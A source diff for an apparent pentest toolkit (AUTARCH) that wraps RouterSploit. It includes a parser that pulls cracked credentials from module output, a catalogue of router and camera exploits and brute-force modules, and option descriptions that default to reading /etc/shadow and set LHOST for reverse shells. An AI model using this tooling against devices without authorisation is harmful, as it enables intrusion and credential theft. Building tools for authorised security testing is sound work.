stripped = line.strip()
if not stripped:
continue
if stripped.startswith('[+]'):
successes.append(stripped[3:].strip())
# Check for credential patterns
creds = self._extract_credentials(stripped)
if creds:
credentials.append(creds)
elif stripped.startswith('[*]'):
info_lines.append(stripped[3:].strip())
elif stripped.startswith('[-]'):
errors.append(stripped[3:].strip())
elif stripped.startswith('[!]'):
errors.append(stripped[3:].strip())
return successes, info_lines, errors, credentials
def _extract_credentials(self, line: str) -> Optional[Dict[str, str]]:
"""Extract credentials from a success line.
Common RSF credential output patterns:
- [+] admin:password
- [+] Found valid credentials: admin / password
- [+] username:password on target:port
Args:
line: A [+] success line
Returns:
Dict with username/password keys, or None
"""
# Pattern: username:password
cred_match = re.search(
r'(?:credentials?|found|valid).*?(\S+)\s*[:/]\s*(\S+)',
line, re.IGNORECASE
)
if cred_match:
return {
'username': cred_match.group(1),
'password': cred_match.group(2),
}
# Simple colon-separated on [+] lines
content = line.replace('[+]', '').strip()
if ':' in content and len(content.split(':')) == 2:
parts = content.split(':')
# Only if parts look like creds (not URLs or paths)
if not any(x in parts[0].lower() for x in ['http', '/', '\\']):
return {
'username': parts[0].strip(),
'password': parts[1].strip(),
}
return None
def print_result(self, result: RSFResult, verbose: bool = False):
"""Print formatted execution result.
Args:
result: RSFResult to display
verbose: Show raw output if True
"""
print()
print(f" {Colors.BOLD}{Colors.WHITE}Execution Result{Colors.RESET}")
print(f" {Colors.DIM}{'' * 50}{Colors.RESET}")
# Status with color
status_colors = {
RSFStatus.SUCCESS: Colors.GREEN,
RSFStatus.VULNERABLE: Colors.RED,
RSFStatus.NOT_VULNERABLE: Colors.GREEN,
RSFStatus.FAILED: Colors.RED,
RSFStatus.TIMEOUT: Colors.YELLOW,
RSFStatus.NOT_AVAILABLE: Colors.YELLOW,
}
color = status_colors.get(result.status, Colors.WHITE)
print(f" {Colors.CYAN}Status:{Colors.RESET} {color}{result.status.value}{Colors.RESET}")
print(f" {Colors.CYAN}Module:{Colors.RESET} {result.module_path}")
if result.target:
print(f" {Colors.CYAN}Target:{Colors.RESET} {result.target}")
print(f" {Colors.CYAN}Time:{Colors.RESET} {result.execution_time:.1f}s")
print()
# Successes
if result.successes:
for line in result.successes:
print(f" {Colors.GREEN}[+]{Colors.RESET} {line}")
# Info
if result.info:
for line in result.info:
print(f" {Colors.CYAN}[*]{Colors.RESET} {line}")
# Errors
if result.errors:
for line in result.errors:
print(f" {Colors.RED}[-]{Colors.RESET} {line}")
# Credentials
if result.credentials:
print()
print(f" {Colors.GREEN}{Colors.BOLD}Credentials Found:{Colors.RESET}")
for cred in result.credentials:
print(f" {Colors.GREEN}{cred.get('username', '?')}{Colors.RESET}:"
f"{Colors.YELLOW}{cred.get('password', '?')}{Colors.RESET}")
# Verbose: raw output
if verbose and result.cleaned_output:
print()
print(f" {Colors.DIM}Raw Output:{Colors.RESET}")
for line in result.cleaned_output.splitlines():
print(f" {Colors.DIM}{line}{Colors.RESET}")
print()
# Singleton instance
_rsf_interface = None
def get_rsf_interface() -> RSFInterface:
"""Get the global RSFInterface singleton instance."""
global _rsf_interface
if _rsf_interface is None:
_rsf_interface = RSFInterface()
return _rsf_interface

542
core/rsf_modules.py Normal file
View File

@ -0,0 +1,542 @@
"""
AUTARCH RouterSploit Curated Module Library
Offline-browsable metadata for key RSF modules.
Mirrors core/msf_modules.py patterns for RSF-specific modules.
"""
from .banner import Colors
# ─── Module Library ─────────────────────────────────────────────────────────
RSF_MODULES = {
# ════════════════════════════════════════════════════════════════════════
# EXPLOITS - ROUTERS
# ════════════════════════════════════════════════════════════════════════
# ── D-Link Routers ──────────────────────────────────────────────────────
'exploits/routers/dlink/dir_300_600_rce': {
'name': 'D-Link DIR-300 & DIR-600 RCE',
'description': 'Exploits D-Link DIR-300, DIR-600 Remote Code Execution '
'vulnerability allowing command execution with root privileges.',
'authors': ('Michael Messner', 'Marcin Bury'),
'devices': ('D-Link DIR 300', 'D-Link DIR 600'),
'references': ('http://www.s3cur1ty.de/m1adv2013-003',),
'tags': ('dlink', 'rce', 'router', 'http'),
'notes': 'Targets the web interface. Requires HTTP access to the router.',
},
'exploits/routers/dlink/dir_645_815_rce': {
'name': 'D-Link DIR-645 & DIR-815 RCE',
'description': 'Exploits D-Link DIR-645 and DIR-815 Remote Code Execution '
'vulnerability via the web interface.',
'authors': ('Michael Messner', 'Marcin Bury'),
'devices': ('DIR-815 v1.03b02', 'DIR-645 v1.02', 'DIR-645 v1.03',
'DIR-600 below v2.16b01', 'DIR-300 revB v2.13b01',
'DIR-412 Ver 1.14WWB02', 'DIR-110 Ver 1.01'),
'references': ('http://www.s3cur1ty.de/m1adv2013-017',),
'tags': ('dlink', 'rce', 'router', 'http'),
'notes': 'Affects multiple DIR-series firmware versions.',
},
'exploits/routers/dlink/multi_hnap_rce': {
'name': 'D-Link Multi HNAP RCE',
'description': 'Exploits HNAP remote code execution in multiple D-Link devices '
'allowing command execution on the device.',
'authors': ('Samuel Huntley', 'Craig Heffner', 'Marcin Bury'),
'devices': ('D-Link DIR-645', 'D-Link DIR-880L', 'D-Link DIR-865L',
'D-Link DIR-860L revA/B', 'D-Link DIR-815 revB',
'D-Link DIR-300 revB', 'D-Link DIR-600 revB',
'D-Link DAP-1650 revB'),
'references': ('https://www.exploit-db.com/exploits/37171/',
'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/'),
'tags': ('dlink', 'rce', 'hnap', 'router', 'http'),
'notes': 'HNAP (Home Network Administration Protocol) vulnerability '
'affecting a wide range of D-Link devices.',
},
# ── Cisco Routers ───────────────────────────────────────────────────────
'exploits/routers/cisco/rv320_command_injection': {
'name': 'Cisco RV320 Command Injection',
'description': 'Exploits Cisco RV320 Remote Command Injection in the '
'web-based certificate generator feature (CVE-2019-1652).',
'authors': ('RedTeam Pentesting GmbH', 'GH0st3rs'),
'devices': ('Cisco RV320 1.4.2.15 to 1.4.2.22', 'Cisco RV325'),
'references': ('https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652',),
'tags': ('cisco', 'rce', 'command_injection', 'router', 'cve-2019-1652'),
'notes': 'Requires HTTPS access (port 443). Targets certificate generator.',
},
'exploits/routers/cisco/ios_http_authorization_bypass': {
'name': 'Cisco IOS HTTP Authorization Bypass',
'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to '
'bypass authentication and execute commands by specifying a '
'high access level in the URL (CVE-2001-0537).',
'authors': ('renos stoikos',),
'devices': ('Cisco IOS 11.3 to 12.2',),
'references': ('http://www.cvedetails.com/cve/cve-2001-0537',),
'tags': ('cisco', 'auth_bypass', 'ios', 'router', 'http', 'cve-2001-0537'),
'notes': 'Classic IOS vulnerability. Only affects very old IOS versions.',
},
# ── Netgear Routers ─────────────────────────────────────────────────────
'exploits/routers/netgear/dgn2200_ping_cgi_rce': {
'name': 'Netgear DGN2200 RCE',
'description': 'Exploits Netgear DGN2200 RCE via ping.cgi script '
'(CVE-2017-6077).',
'authors': ('SivertPL', 'Josh Abraham'),
'devices': ('Netgear DGN2200v1-v4',),
'references': ('https://www.exploit-db.com/exploits/41394/',
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6077'),
'tags': ('netgear', 'rce', 'router', 'http', 'cve-2017-6077'),
'notes': 'Requires valid credentials (default: admin/password).',
},
'exploits/routers/netgear/multi_rce': {
'name': 'Netgear Multi RCE',
'description': 'Exploits remote command execution in multiple Netgear devices. '
'If vulnerable, opens a command loop with OS-level access.',
'authors': ('Andrei Costin', 'Marcin Bury'),
'devices': ('Netgear WG102', 'Netgear WG103', 'Netgear WN604',
'Netgear WNDAP350', 'Netgear WNDAP360', 'Netgear WNAP320',
'Netgear WNDAP660', 'Netgear WNDAP620'),
'references': ('http://firmware.re/vulns/acsa-2015-001.php',),
'tags': ('netgear', 'rce', 'router', 'http', 'multi'),
'notes': 'Targets multiple Netgear enterprise wireless APs.',
},
# ── Mikrotik Routers ────────────────────────────────────────────────────
'exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure': {
'name': 'Mikrotik WinBox Auth Bypass - Credentials Disclosure',
'description': 'Bypasses authentication through WinBox service in Mikrotik '
'devices v6.29 to v6.42 and retrieves admin credentials.',
'authors': ('Alireza Mosajjal', 'Mostafa Yalpaniyan', 'Marcin Bury'),
'devices': ('Mikrotik RouterOS 6.29 to 6.42',),
'references': ('https://n0p.me/winbox-bug-dissection/',
'https://github.com/BasuCert/WinboxPoC'),
'tags': ('mikrotik', 'auth_bypass', 'creds', 'winbox', 'router', 'tcp'),
'notes': 'Targets WinBox service (port 8291). Very high impact.',
},
# ── TP-Link Routers ─────────────────────────────────────────────────────
'exploits/routers/tplink/archer_c2_c20i_rce': {
'name': 'TP-Link Archer C2 & C20i RCE',
'description': 'Exploits TP-Link Archer C2 and C20i RCE allowing root-level '
'command execution.',
'authors': ('Michal Sajdak', 'Marcin Bury'),
'devices': ('TP-Link Archer C2', 'TP-Link Archer C20i'),
'references': (),
'tags': ('tplink', 'rce', 'router', 'http'),
'notes': 'Targets the Archer web interface.',
},
# ── Asus Routers ────────────────────────────────────────────────────────
'exploits/routers/asus/asuswrt_lan_rce': {
'name': 'AsusWRT LAN RCE',
'description': 'Exploits multiple vulnerabilities in AsusWRT firmware to achieve '
'RCE: HTTP auth bypass + VPN config upload + infosvr command '
'execution (CVE-2018-5999, CVE-2018-6000).',
'authors': ('Pedro Ribeiro', 'Marcin Bury'),
'devices': ('AsusWRT < v3.0.0.4.384.10007',),
'references': ('https://nvd.nist.gov/vuln/detail/CVE-2018-5999',
'https://nvd.nist.gov/vuln/detail/CVE-2018-6000'),
'tags': ('asus', 'rce', 'auth_bypass', 'router', 'http', 'udp',
'cve-2018-5999', 'cve-2018-6000'),
'notes': 'Chains HTTP auth bypass with UDP infosvr for full RCE.',
},
# ════════════════════════════════════════════════════════════════════════
# EXPLOITS - CAMERAS
# ════════════════════════════════════════════════════════════════════════
'exploits/cameras/dlink/dcs_930l_932l_auth_bypass': {
'name': 'D-Link DCS Cameras Auth Bypass',
'description': 'D-Link DCS web cameras allow unauthenticated attackers to '
'obtain device configuration by accessing unprotected URLs.',
'authors': ('Roberto Paleari', 'Dino Causevic'),
'devices': ('D-Link DCS-930L fw 1.04', 'D-Link DCS-932L fw 1.02'),
'references': ('https://www.exploit-db.com/exploits/24442/',),
'tags': ('dlink', 'camera', 'auth_bypass', 'http'),
'notes': 'Uses port 8080 by default.',
},
'exploits/cameras/cisco/video_surv_path_traversal': {
'name': 'Cisco Video Surveillance Path Traversal',
'description': 'Path traversal in Cisco Video Surveillance Operations '
'Manager 6.3.2 allowing file reads from the filesystem.',
'authors': ('b.saleh', 'Marcin Bury'),
'devices': ('Cisco Video Surveillance Operations Manager 6.3.2',),
'references': ('https://www.exploit-db.com/exploits/38389/',),
'tags': ('cisco', 'camera', 'path_traversal', 'http'),
'notes': 'Read /etc/passwd or other files via path traversal.',
},
'exploits/cameras/brickcom/corp_network_cameras_conf_disclosure': {
'name': 'Brickcom Network Camera Config Disclosure',
'description': 'Exploits Brickcom Corporation Network Camera configuration '
'disclosure vulnerability to read device config and credentials.',
'authors': ('Orwelllabs', 'Marcin Bury'),
'devices': ('Brickcom FB-100Ae', 'Brickcom WCB-100Ap',
'Brickcom OB-200Np-LR', 'Brickcom VD-E200Nf'),
'references': ('https://www.exploit-db.com/exploits/39696/',),
'tags': ('brickcom', 'camera', 'config_disclosure', 'http'),
'notes': 'Extracts admin credentials from configuration.',
},
# ════════════════════════════════════════════════════════════════════════
# EXPLOITS - GENERIC
# ════════════════════════════════════════════════════════════════════════
'exploits/generic/heartbleed': {
'name': 'OpenSSL Heartbleed',
'description': 'Exploits OpenSSL Heartbleed vulnerability (CVE-2014-0160). '
'Fake heartbeat length leaks memory data from the server.',
'authors': ('Neel Mehta', 'Jared Stafford', 'Marcin Bury'),
'devices': ('Multi',),
'references': ('http://www.cvedetails.com/cve/2014-0160',
'http://heartbleed.com/'),
'tags': ('heartbleed', 'openssl', 'ssl', 'tls', 'memory_leak', 'generic',
'cve-2014-0160'),
'notes': 'Tests for Heartbleed on any SSL/TLS service. '
'Default port 443.',
},
'exploits/generic/shellshock': {
'name': 'Shellshock',
'description': 'Exploits Shellshock vulnerability (CVE-2014-6271) allowing '
'OS command execution via crafted HTTP headers.',
'authors': ('Marcin Bury',),
'devices': ('Multi',),
'references': ('https://access.redhat.com/articles/1200223',),
'tags': ('shellshock', 'bash', 'rce', 'http', 'generic', 'cve-2014-6271'),
'notes': 'Injects via HTTP headers (default: User-Agent). '
'Configure path and method as needed.',
},
'exploits/generic/ssh_auth_keys': {
'name': 'SSH Authorized Keys',
'description': 'Tests for known default SSH keys that ship with various '
'embedded devices and appliances.',
'authors': ('Marcin Bury',),
'devices': ('Multi',),
'references': (),
'tags': ('ssh', 'keys', 'default_creds', 'generic'),
'notes': 'Checks for factory SSH keys common on IoT/embedded devices.',
},
# ════════════════════════════════════════════════════════════════════════
# CREDENTIALS - GENERIC
# ════════════════════════════════════════════════════════════════════════
'creds/generic/ftp_bruteforce': {
'name': 'FTP Bruteforce',
'description': 'Performs bruteforce attack against FTP service. '
'Displays valid credentials when found.',
'authors': ('Marcin Bury',),
'devices': ('Multiple devices',),
'references': (),
'tags': ('ftp', 'bruteforce', 'creds', 'generic'),
'notes': 'Supports file:// targets for batch mode. '
'Default port 21. Threaded (default 8 threads).',
},
'creds/generic/ssh_bruteforce': {
'name': 'SSH Bruteforce',
'description': 'Performs bruteforce attack against SSH service. '
'Displays valid credentials when found.',
'authors': ('Marcin Bury',),
'devices': ('Multiple devices',),
'references': (),
'tags': ('ssh', 'bruteforce', 'creds', 'generic'),
'notes': 'Default port 22. Threaded. Supports batch targets via file://.',
},
'creds/generic/telnet_bruteforce': {
'name': 'Telnet Bruteforce',
'description': 'Performs bruteforce attack against Telnet service. '
'Displays valid credentials when found.',
'authors': ('Marcin Bury',),
'devices': ('Multiple devices',),
'references': (),
'tags': ('telnet', 'bruteforce', 'creds', 'generic'),
'notes': 'Default port 23. Common on IoT devices with telnet enabled.',
},
'creds/generic/snmp_bruteforce': {
'name': 'SNMP Bruteforce',
'description': 'Performs bruteforce attack against SNMP service. '
'Discovers valid community strings.',
'authors': ('Marcin Bury',),
'devices': ('Multiple devices',),
'references': (),
'tags': ('snmp', 'bruteforce', 'creds', 'generic', 'community'),
'notes': 'Tests SNMP community strings. Default port 161. '
'Supports SNMPv1 and SNMPv2c.',
},
'creds/generic/http_basic_digest_bruteforce': {
'name': 'HTTP Basic/Digest Bruteforce',
'description': 'Performs bruteforce against HTTP Basic/Digest authentication. '
'Displays valid credentials when found.',
'authors': ('Marcin Bury', 'Alexander Yakovlev'),
'devices': ('Multiple devices',),
'references': (),
'tags': ('http', 'bruteforce', 'creds', 'generic', 'basic_auth', 'digest'),
'notes': 'Targets HTTP authentication. Configure path to the protected URL.',
},
# ════════════════════════════════════════════════════════════════════════
# SCANNERS
# ════════════════════════════════════════════════════════════════════════
'scanners/autopwn': {
'name': 'AutoPwn',
'description': 'Comprehensive scanner that tests ALL exploit and credential '
'modules against a target. The ultimate "scan everything" tool.',
'authors': ('Marcin Bury',),
'devices': ('Multi',),
'references': (),
'tags': ('scanner', 'autopwn', 'comprehensive', 'all'),
'notes': 'Runs all exploits and creds against the target. '
'Can be filtered by vendor. Checks HTTP, FTP, SSH, Telnet, SNMP. '
'Very thorough but slow. Use specific scanners for faster results.',
},
'scanners/routers/router_scan': {
'name': 'Router Scanner',
'description': 'Scans for router vulnerabilities and weaknesses. '
'Tests generic and router-specific exploit modules.',
'authors': ('Marcin Bury',),
'devices': ('Router',),
'references': (),
'tags': ('scanner', 'router', 'comprehensive'),
'notes': 'Faster than AutoPwn -- only tests router-relevant modules.',
},
'scanners/cameras/camera_scan': {
'name': 'Camera Scanner',
'description': 'Scans for IP camera vulnerabilities and weaknesses. '
'Tests generic and camera-specific exploit modules.',
'authors': ('Marcin Bury',),
'devices': ('Cameras',),
'references': (),
'tags': ('scanner', 'camera', 'ip_camera', 'comprehensive'),
'notes': 'Tests all camera-related exploits against the target.',
},
# ════════════════════════════════════════════════════════════════════════
# EXPLOITS - MISC
# ════════════════════════════════════════════════════════════════════════
'exploits/misc/asus/b1m_projector_rce': {
'name': 'Asus B1M Projector RCE',
'description': 'Exploits Asus B1M Projector RCE allowing root-level '
'command execution.',
'authors': ('Hacker House', 'Marcin Bury'),
'devices': ('Asus B1M Projector',),
'references': ('https://www.myhackerhouse.com/asus-b1m-projector-remote-root-0day/',),
'tags': ('asus', 'projector', 'rce', 'misc', 'iot'),
'notes': 'Targets network-connected projectors.',
},
# ════════════════════════════════════════════════════════════════════════
# EXPLOITS - MORE ROUTERS
# ════════════════════════════════════════════════════════════════════════
'exploits/routers/linksys/smart_wifi_password_disclosure': {
'name': 'Linksys Smart WiFi Password Disclosure',
'description': 'Exploits information disclosure in Linksys Smart WiFi '
'routers to extract passwords.',
'authors': ('Marcin Bury',),
'devices': ('Linksys Smart WiFi routers',),
'references': (),
'tags': ('linksys', 'password', 'disclosure', 'router', 'http'),
'notes': 'Targets Linksys Smart WiFi web interface.',
},
'exploits/routers/zyxel/d1000_rce': {
'name': 'Zyxel D1000 RCE',
'description': 'Exploits remote code execution in Zyxel D1000 modem/routers.',
'authors': ('Marcin Bury',),
'devices': ('Zyxel D1000',),
'references': (),
'tags': ('zyxel', 'rce', 'router', 'modem'),
'notes': 'Targets Zyxel DSL modem/router combo devices.',
},
'exploits/routers/huawei/hg520_info_disclosure': {
'name': 'Huawei HG520 Info Disclosure',
'description': 'Information disclosure in Huawei HG520 home gateway '
'allowing extraction of device configuration.',
'authors': ('Marcin Bury',),
'devices': ('Huawei HG520',),
'references': (),
'tags': ('huawei', 'info_disclosure', 'router', 'http'),
'notes': 'Targets Huawei home gateway web interface.',
},
}
# ─── Module Type Mapping ────────────────────────────────────────────────────
MODULE_TYPES = {
'exploits': {
'name': 'Exploits',
'description': 'Vulnerability exploits for routers, cameras, and devices',
'color': Colors.RED,
},
'creds': {
'name': 'Credentials',
'description': 'Default credential and brute-force modules',
'color': Colors.YELLOW,
},
'scanners': {
'name': 'Scanners',
'description': 'Automated vulnerability scanners (AutoPwn, etc.)',
'color': Colors.CYAN,
},
'payloads': {
'name': 'Payloads',
'description': 'Shellcode and payload generators',
'color': Colors.MAGENTA,
},
'encoders': {
'name': 'Encoders',
'description': 'Payload encoding and obfuscation',
'color': Colors.GREEN,
},
}
# ─── API Functions ──────────────────────────────────────────────────────────
def get_module_info(module_path: str) -> dict:
"""Get curated module info by path.
Args:
module_path: Module path like 'exploits/routers/dlink/dir_300_600_rce'
Returns:
Module info dict or None
"""
return RSF_MODULES.get(module_path)
def get_module_description(module_path: str) -> str:
"""Get just the description for a module.
Args:
module_path: Module path
Returns:
Description string or empty string
"""
info = RSF_MODULES.get(module_path)
if info:
return info.get('description', '')
return ''
def search_modules(query: str) -> list:
"""Search curated modules by keyword.
Searches name, description, tags, devices, and path.
Args:
query: Search string (case-insensitive)
Returns:
List of matching module info dicts (with 'path' key added)
"""
results = []
query_lower = query.lower()
for path, info in RSF_MODULES.items():
# Search in path
if query_lower in path.lower():
results.append({**info, 'path': path})
continue
# Search in name
if query_lower in info.get('name', '').lower():
results.append({**info, 'path': path})
continue
# Search in description
if query_lower in info.get('description', '').lower():
results.append({**info, 'path': path})
continue
# Search in tags
if any(query_lower in tag.lower() for tag in info.get('tags', ())):
results.append({**info, 'path': path})
continue
# Search in devices
if any(query_lower in dev.lower() for dev in info.get('devices', ())):
results.append({**info, 'path': path})
continue
return results
def get_modules_by_type(module_type: str) -> list:
"""Get curated modules filtered by type.
Args:
module_type: One of 'exploits', 'creds', 'scanners', etc.
Returns:
List of matching module info dicts (with 'path' key added)
"""
results = []
for path, info in RSF_MODULES.items():
if path.startswith(module_type + '/'):
results.append({**info, 'path': path})
return results
def format_module_help(module_path: str) -> str:
"""Format detailed help text for a module.
Args:
module_path: Module path
Returns:
Formatted help string
"""
info = RSF_MODULES.get(module_path)
if not info:
return f" {Colors.YELLOW}No curated info for '{module_path}'{Colors.RESET}"
lines = []
lines.append(f" {Colors.BOLD}{Colors.WHITE}{info.get('name', module_path)}{Colors.RESET}")
lines.append(f" {Colors.DIM}Path: {module_path}{Colors.RESET}")
lines.append(f"")
lines.append(f" {info.get('description', '')}")
if info.get('authors'):
authors = ', '.join(info['authors'])
lines.append(f"")
lines.append(f" {Colors.CYAN}Authors:{Colors.RESET} {authors}")
if info.get('devices'):
lines.append(f" {Colors.CYAN}Devices:{Colors.RESET}")
for dev in info['devices']:
lines.append(f" - {dev}")
if info.get('references'):
lines.append(f" {Colors.CYAN}References:{Colors.RESET}")
for ref in info['references']:
lines.append(f" {Colors.DIM}{ref}{Colors.RESET}")
if info.get('notes'):
lines.append(f"")
lines.append(f" {Colors.YELLOW}Note:{Colors.RESET} {info['notes']}")
return '\n'.join(lines)
def get_all_modules() -> dict:
"""Get all curated modules.
Returns:
The full RSF_MODULES dict
"""
return RSF_MODULES
def get_type_info(module_type: str) -> dict:
"""Get info about a module type.
Args:
module_type: One of 'exploits', 'creds', 'scanners', etc.
Returns:
Type info dict or None
"""
return MODULE_TYPES.get(module_type)

439
core/rsf_terms.py Normal file
View File

@ -0,0 +1,439 @@
"""
AUTARCH RouterSploit Option Term Bank
Centralized descriptions and validation for RSF module options.
Mirrors core/msf_terms.py patterns for RSF-specific options.
"""
from .banner import Colors
# ─── RSF Settings Definitions ───────────────────────────────────────────────
RSF_SETTINGS = {
# ── Target Options ──────────────────────────────────────────────────────
'target': {
'description': 'Target IPv4 or IPv6 address of the device to test. '
'Can also be set to file:// path for batch targeting '
'(e.g. file:///tmp/targets.txt with one IP per line).',
'input_type': 'ip',
'examples': ['192.168.1.1', '10.0.0.1', 'file:///tmp/targets.txt'],
'default': '',
'aliases': ['TARGET', 'rhost'],
'category': 'target',
'required': True,
'notes': 'Most RSF modules require a target. Batch mode via file:// '
'is supported by modules decorated with @multi.',
},
'port': {
'description': 'Target port number for the service being tested. '
'Default depends on the module protocol (80 for HTTP, '
'21 for FTP, 22 for SSH, etc.).',
'input_type': 'port',
'examples': ['80', '443', '8080', '22'],
'default': '',
'aliases': ['PORT', 'rport'],
'category': 'target',
'required': False,
'notes': 'Each module sets an appropriate default port. Only override '
'if the target runs on a non-standard port.',
},
'ssl': {
'description': 'Enable SSL/TLS for the connection. Set to true for '
'HTTPS targets or services using encrypted transport.',
'input_type': 'boolean',
'examples': ['true', 'false'],
'default': 'false',
'aliases': ['SSL', 'use_ssl'],
'category': 'connection',
'required': False,
'notes': 'Automatically set for modules targeting HTTPS services.',
},
# ── Authentication/Credential Options ───────────────────────────────────
'threads': {
'description': 'Number of threads for brute-force or scanning operations. '
'Higher values are faster but may trigger rate-limiting.',
'input_type': 'integer',
'examples': ['1', '4', '8', '16'],
'default': '8',
'aliases': ['THREADS'],
'category': 'scan',
'required': False,
'notes': 'Default is typically 8. Reduce for slower targets or to '
'avoid detection. Increase for LAN testing.',
},
'usernames': {
'description': 'Username or wordlist for credential testing. '
'Single value, comma-separated list, or file path.',
'input_type': 'wordlist',
'examples': ['admin', 'admin,root,user', 'file:///tmp/users.txt'],
'default': 'admin',
'aliases': ['USERNAMES', 'username'],
'category': 'auth',
'required': False,
'notes': 'For brute-force modules. Use file:// prefix for wordlist files. '
'Default credential modules have built-in lists.',
},
'passwords': {
'description': 'Password or wordlist for credential testing. '
'Single value, comma-separated list, or file path.',
'input_type': 'wordlist',
'examples': ['password', 'admin,password,1234', 'file:///tmp/pass.txt'],
'default': '',
'aliases': ['PASSWORDS', 'password'],
'category': 'auth',
'required': False,
'notes': 'For brute-force modules. Default credential modules use '
'built-in vendor-specific password lists.',
},
'stop_on_success': {
'description': 'Stop brute-force attack after finding the first valid '
'credential pair.',
'input_type': 'boolean',
'examples': ['true', 'false'],
'default': 'true',
'aliases': ['STOP_ON_SUCCESS'],
'category': 'auth',
'required': False,
'notes': 'Set to false to enumerate all valid credentials.',
},
# ── Verbosity/Output Options ────────────────────────────────────────────
'verbosity': {
'description': 'Control output verbosity level. When true, modules '
'print detailed progress information.',
'input_type': 'boolean',
'examples': ['true', 'false'],
'default': 'true',
'aliases': ['VERBOSITY', 'verbose'],
'category': 'output',
'required': False,
'notes': 'Disable for cleaner output during automated scanning.',
},
# ── Protocol-Specific Ports ─────────────────────────────────────────────
'http_port': {
'description': 'HTTP port for web-based exploits and scanners.',
'input_type': 'port',
'examples': ['80', '8080', '8443'],
'default': '80',
'aliases': ['HTTP_PORT'],
'category': 'target',
'required': False,
'notes': 'Used by HTTP-based modules. Change for non-standard web ports.',
},
'ftp_port': {
'description': 'FTP port for file transfer protocol modules.',
'input_type': 'port',
'examples': ['21', '2121'],
'default': '21',
'aliases': ['FTP_PORT'],
'category': 'target',
'required': False,
'notes': 'Standard FTP port is 21.',
},
'ssh_port': {
'description': 'SSH port for secure shell modules.',
'input_type': 'port',
'examples': ['22', '2222'],
'default': '22',
'aliases': ['SSH_PORT'],
'category': 'target',
'required': False,
'notes': 'Standard SSH port is 22.',
},
'telnet_port': {
'description': 'Telnet port for telnet-based modules.',
'input_type': 'port',
'examples': ['23', '2323'],
'default': '23',
'aliases': ['TELNET_PORT'],
'category': 'target',
'required': False,
'notes': 'Standard Telnet port is 23. Many IoT devices use telnet.',
},
'snmp_port': {
'description': 'SNMP port for SNMP-based modules.',
'input_type': 'port',
'examples': ['161'],
'default': '161',
'aliases': ['SNMP_PORT'],
'category': 'target',
'required': False,
'notes': 'Standard SNMP port is 161.',
},
'snmp_community': {
'description': 'SNMP community string for SNMP-based modules.',
'input_type': 'string',
'examples': ['public', 'private'],
'default': 'public',
'aliases': ['SNMP_COMMUNITY', 'community'],
'category': 'auth',
'required': False,
'notes': 'Default community strings "public" and "private" are common '
'on unconfigured devices.',
},
# ── File/Path Options ───────────────────────────────────────────────────
'filename': {
'description': 'File path to read or write on the target device. '
'Used by path traversal and file disclosure modules.',
'input_type': 'string',
'examples': ['/etc/passwd', '/etc/shadow', '/etc/config/shadow'],
'default': '/etc/shadow',
'aliases': ['FILENAME', 'filepath'],
'category': 'file',
'required': False,
'notes': 'Common targets: /etc/passwd, /etc/shadow for credential extraction.',
},
# ── Payload Options ─────────────────────────────────────────────────────
'lhost': {
'description': 'Local IP address for reverse connections (listener).',
'input_type': 'ip',
'examples': ['192.168.1.100', '10.0.0.50'],
'default': '',
'aliases': ['LHOST'],
'category': 'payload',
'required': False,
'notes': 'Required for reverse shell payloads. Use your attacker IP.',
},
'lport': {
'description': 'Local port for reverse connections (listener).',
'input_type': 'port',
'examples': ['4444', '5555', '8888'],
'default': '5555',
'aliases': ['LPORT'],
'category': 'payload',
'required': False,
'notes': 'Required for reverse shell payloads.',
},
'rport': {
'description': 'Remote port for bind shell connections.',
'input_type': 'port',
'examples': ['5555', '4444'],
'default': '5555',
'aliases': ['RPORT'],
'category': 'payload',
'required': False,
'notes': 'Required for bind shell payloads.',
},
'encoder': {
'description': 'Encoder to use for payload obfuscation.',
'input_type': 'string',
'examples': ['base64', 'xor'],
'default': '',
'aliases': ['ENCODER'],
'category': 'payload',
'required': False,
'notes': 'Optional. Available encoders depend on payload architecture.',
},
'output': {
'description': 'Output format for generated payloads.',
'input_type': 'string',
'examples': ['python', 'elf', 'c'],
'default': 'python',
'aliases': ['OUTPUT'],
'category': 'payload',
'required': False,
'notes': 'Architecture-specific payloads support elf, c, and python output.',
},
# ── Vendor/Device Options ───────────────────────────────────────────────
'vendor': {
'description': 'Target device vendor for vendor-specific modules.',
'input_type': 'string',
'examples': ['dlink', 'cisco', 'netgear', 'tp-link'],
'default': '',
'aliases': ['VENDOR'],
'category': 'target',
'required': False,
'notes': 'Used to filter modules by vendor.',
},
}
# ── Setting Categories ──────────────────────────────────────────────────────
SETTING_CATEGORIES = {
'target': {
'name': 'Target Options',
'description': 'Target device addressing',
'color': Colors.RED,
},
'connection': {
'name': 'Connection Options',
'description': 'Network connection parameters',
'color': Colors.CYAN,
},
'auth': {
'name': 'Authentication Options',
'description': 'Credentials and authentication',
'color': Colors.YELLOW,
},
'scan': {
'name': 'Scan Options',
'description': 'Scanning and threading parameters',
'color': Colors.GREEN,
},
'output': {
'name': 'Output Options',
'description': 'Verbosity and output control',
'color': Colors.WHITE,
},
'file': {
'name': 'File Options',
'description': 'File path parameters',
'color': Colors.MAGENTA,
},
'payload': {
'name': 'Payload Options',
'description': 'Payload generation and delivery',
'color': Colors.RED,
},
}
# ─── API Functions ──────────────────────────────────────────────────────────
def get_setting_info(name: str) -> dict:
"""Get full setting information by name.
Checks primary name first, then aliases.
Args:
name: Setting name (case-insensitive)
Returns:
Setting dict or None
"""
name_lower = name.lower()
# Direct lookup
if name_lower in RSF_SETTINGS:
return RSF_SETTINGS[name_lower]
# Alias lookup
for key, info in RSF_SETTINGS.items():
if name_lower in [a.lower() for a in info.get('aliases', [])]:
return info
return None
def get_setting_prompt(name: str, default=None, required: bool = False) -> str:
"""Get a formatted input prompt for a setting.
Args:
name: Setting name
default: Default value to show
required: Whether the setting is required
Returns:
Formatted prompt string
"""
info = get_setting_info(name)
if info:
if default is None:
default = info.get('default', '')
desc = info.get('description', '').split('.')[0] # First sentence
req = f" {Colors.RED}(required){Colors.RESET}" if required else ""
if default:
return f" {Colors.WHITE}{name}{Colors.RESET} [{default}]{req}: "
return f" {Colors.WHITE}{name}{Colors.RESET}{req}: "
else:
if default:
return f" {Colors.WHITE}{name}{Colors.RESET} [{default}]: "
return f" {Colors.WHITE}{name}{Colors.RESET}: "
def format_setting_help(name: str, include_examples: bool = True,
include_notes: bool = True) -> str:
"""Get formatted help text for a setting.
Args:
name: Setting name
